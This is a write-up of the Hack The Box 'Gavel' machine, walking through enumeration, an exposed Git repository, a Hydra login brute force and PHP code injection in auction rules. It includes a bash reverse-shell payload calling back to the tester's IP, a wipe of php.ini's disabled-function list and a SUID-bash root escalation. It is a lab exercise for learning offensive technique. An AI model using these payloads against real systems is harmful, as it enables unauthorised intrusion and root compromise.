Description
Gavel is a medium Hack The Box machine that features:
- Webpage enumeration to find a Git repository with the source code of the web application
- Brute force of a login form with a found username to access to the administrator dashboard
- Remote Command Execution in web application allowing the entering of PHP code entered by the user
- User Pivoting by password reuse
- Privilege Escalation via bypassing PHP disallowed functions and the web application vulnerability with commands executed as
rootuser.
Footprinting
First, we are going to check with ping command if the machine is active and the system operating system. The target machine IP address is 10.129.19.185.
$ ping -c 3 10.129.19.185
PING 10.129.19.185 (10.129.19.185) 56(84) bytes of data.
64 bytes from 10.129.19.185: icmp_seq=1 ttl=63 time=43.5 ms
64 bytes from 10.129.19.185: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.129.19.185: icmp_seq=3 ttl=63 time=43.7 ms
--- 10.129.19.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.463/43.565/43.732/0.119 ms
The machine is active and with the TTL that equals 63 (64 minus 1 jump) we can assure that it is an Unix machine. Now we are going to do a Nmap TCP SYN port scan to check all opened ports.
$ sudo nmap 10.129.19.185 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.19.185
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds
We get two open ports, 22, and 80 .
Enumeration
Then we do a more advanced scan, with service version and scripts.
$ nmap 10.129.19.185 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.19.185
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds
We get the SSH service and the HTTP service. We find the gavel.htb subdomain, we add it to the /etc/hosts file.
echo "10.129.19.185 gavel.htb" | sudo tee -a /etc/hosts
We find a website about an auction house in which we can do biddings.
We can create an account and login. After logging we have the Biddings manu where we can see the live auctions we can bid by entering a number.
After a enumerating we find that the web server hosts the source code of the page in the .git folder. We dump it with the git-dumper tool.
$ gobuster dir -u 'http://gavel.htb' -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gavel.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
...
$ python -m venv venv
$ . venv/bin/activate
$ pip install git-dumper
$ git-dumper http://gavel.htb/.git/ gavel_git
$ cd gavel_git
$ ls
admin.php assets bidding.php includes index.php inventory.php login.php logout.php register.php rules
Exploitation
By checking the downloaded source code we find a few things. Firstly, we find that an administrator dashboard exists, but it is only accesible to an user with the auctioneer role, in the admin.php file.
<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
require_once __DIR__ . '/includes/auction.php';
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}
...
In the bid_handler.php we find that every bid made passes over a rule to check if it valid, that it is saved in a .yaml file. It creates the ruleCheck function with the content of the rule.
$rule = $auction['rule'];
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
In the default.yaml file we find some examples of the rules, it is PHP code.
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
...
Knowing this, if we have access to the administrator dashboard to modify an auction rule, we can execute code remotely, if the system function is enabled. By brute-forcing the login form with the auctioneer user and the first 4000 passwords from the rockyou.txt wordlist we find the password for the user, midnight1. If a 302 status code is received in the HTTP response, the login is correct.
$ head -n 4000 /usr/share/wordlists/rockyou.txt > mini_list.txt
hydra -l auctioneer -P mini_list.txt "http-post-form://gavel.htb/login.php:username=^USER^&password=^PASS^:2=:Invalid username"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4000 login tries (l:1/p:4000), ~250 tries per task
[DATA] attacking http-post-form://gavel.htb:80/login.php:username=^USER^&password=^PASS^:2=:Invalid username
[STATUS] 665.00 tries/min, 665 tries in 00:01h, 3335 to do in 00:06h, 16 active
[STATUS] 623.00 tries/min, 1869 tries in 00:03h, 2131 to do in 00:04h, 16 active
[80][http-post-form] host: gavel.htb login: auctioneer password: midnight1
1 of 1 target successfully completed, 1 valid password found
We get the password for the administrator user auctioneer, midnight1. We access to the administrator dashboard, we can modify the rules. We enter the system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.51/4321 0>&1"'); return true; rule to spawn a reverse shell to our system. We start a listening TCP port with the nc -nvlp 4321 command.
Then we trigger the vulnerability by bidding with the account we created previously.
We receive the reverse shell, we upgrade it. We can pivot to the auctioneer user with the previously found midnight1 password
$ nc -nvlp 4321
listening on [any] 4321 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.19.185] 59650
bash: cannot set terminal process group (1066): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
script /dev/null -c bash
Script started, output log file is '/dev/null'.
auctioneer@gavel:/var/www/html/gavel/includes$ ^Z
[1] + 200137 suspended nc -nvlp 4321
$ stty raw -echo; fg
$ reset xterm
auctioneer@gavel:/var/www/html/gavel/includes$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Exploitation
We find that we are part of the gavel-seller group. We are going to search for files owned by this group.
auctioneer@gavel:/var/www/html/gavel/includes$ find / -group gavel-seller 2> /dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
We find two: /run/gaveld.sock and /usr/local/bin/gavel-util. The gavel-util binary is used to add new items to the auctions.
auctioneer@gavel:/var/www/html/gavel/includes$ gavel-util
Usage: gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
We find a sample of the .yaml file to add a new item in the /opt/gavel/sample.yaml file.
auctioneer@gavel:/var/www/html/gavel/includes$ cat /opt/gavel/sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
We also find a .php configuration file that disables some functions to run commands or open files /opt/gavel/.config/php/php.ini.
auctioneer@gavel:/var/www/html/gavel/includes$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/var/www/html/gavel/includes$ cd
We are going to use the previous technique to create a new item with a modified rule to run PHP code. Firstly we are going to modify the php.ini file to remove all the disabled function to be able of running shell commands with the system functions. As we see the file_put_contents functions is not disabled, so we use it to clear the file. This is the .yaml file we are going to use.
name: "Gavel Vuln"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Error"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', ''); return true;"
Then we add the item, and the code will be executed, as we checked the php.ini contents.
auctioneer@gavel:~$ nano item.yaml
auctioneer@gavel:~$ gavel-util submit item.yaml
Item submitted for review in next auction
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
Now we create a SUID Bash binary in the /opt/gavel/ directory to spawn a root shell. With the following rule:
system('cp /bin/bash /opt/gavel/suid-bash; chmod u+s /opt/gavel/suid-bash'); return true;
Now we can spawn the root shell.
auctioneer@gavel:~$ /opt/gavel/suid-bash -p
suid-bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
Flags
In the root shell we can retrieve the user.txt and root.txt flags.
suid-bash-5.1# cat /home/auctioneer/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>